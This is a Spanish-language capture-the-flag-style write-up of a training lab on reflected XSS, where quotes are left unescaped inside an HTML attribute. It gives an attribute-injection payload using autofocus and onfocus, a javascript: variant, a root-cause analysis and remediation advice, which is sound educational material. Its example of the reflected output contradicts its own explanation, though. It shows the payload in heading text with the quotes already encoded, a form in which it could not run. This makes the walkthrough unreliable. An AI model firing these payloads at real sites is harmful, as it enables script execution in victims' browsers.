← Writeups

Reflected XSS into attribute with angle brackets HTML-encoded

Bypass de HTML-encoding de angle brackets dentro de un atributo: cerrar la comilla e inyectar autofocus onfocus ejecuta alert(document.domain) sin usar < ni >.

Target Overview & Vulnerability Summary

El laboratorio contexts/lab-attribute-angle-brackets-html-encoded contiene un XSS reflejado en la búsqueda del blog donde los angle brackets están HTML-encoded. La reflexión ocurre dentro de un atributo: el contexto de escape es la comilla doble y la inyección de atributos/eventos, no el markup.

Campo Valor
Severidad Media-Alta (ejecución de JavaScript en el contexto de la víctima)
Endpoint vulnerable / (parámetro search)
Root cause HTML-encoding de angle brackets sin escape de comillas en un contexto de atributo

Technical Breakdown & Exploitation Flow

1. Confirmación del contexto de reflexión

GET /?search=a HTTP/2
Host: <LAB-ID>.web-security-academy.net

La respuesta refleja el valor dentro de un atributo value o similar, con los angle brackets codificados (< pasa a &lt;). En este lab la reflexión queda en un contexto de atributo HTML:

<section class=blog-header>
    <h1>0 search results for 'a'</h1>
    <hr>
</section>

2. Payload de inyección de atributo

Los angle brackets no se pueden usar (están HTML-encoded), pero las comillas dobles no se escapan. El payload cierra el atributo con " e inyecta un nuevo atributo autofocus + handler onfocus:

" autofocus onfocus=alert(document.domain) closeme="

Reflejado:

<section class=blog-header>
    <h1>0 search results for '&quot; autofocus onfocus=alert(document.domain) closeme=&quot;'</h1>
    <hr>
</section>
  • autofocus — enfoca el elemento automáticamente al cargar, sin interacción del usuario.
  • onfocus=alert(document.domain) — el handler de evento se dispara al enfocar.
  • closeme=" — re-abre una comilla para neutralizar la comilla de cierre del atributo original (mantiene balanceado el markup).

3. Variante con pseudo-protocolo

Cuando el contexto lo permite (p. ej. dentro de un href o src), el esquema javascript: también ejecuta:

javascript:alert(1)

En este lab la vía funcional es la inyección de atributos con autofocus onfocus.

Root Cause Analysis

La codificación de &lt;/&gt; protege únicamente contra la inyección de tags. Dentro de un atributo delimitado por comillas dobles, el carácter peligroso es la comilla: si no se escapa, el atacante cierra el atributo e introduce atributos arbitrarios (event handlers). La defensa implementada no cubre el contexto real de salida — otra instancia de escaping al contexto equivocado. autofocus onfocus es el patrón estándar para explotar este contexto sin interacción.

Secure Remediation

  • Escapar según el contexto de atributo: codificar &, ", <, > y '. Con &quot; el payload " autofocus... quedaría neutralizado.
  • Usar las plantillas seguras del framework (escapado automático de contexto, p. ej. {% autoescape %} / utilidades equivalentes) en lugar de concatenación manual.
  • Si se necesita salida en atributo, aplicar encodeURIComponent/attribute-encoding y evitar interpolar handlers de evento derivados de input del usuario. Añadir CSP script-src estricto como capa final.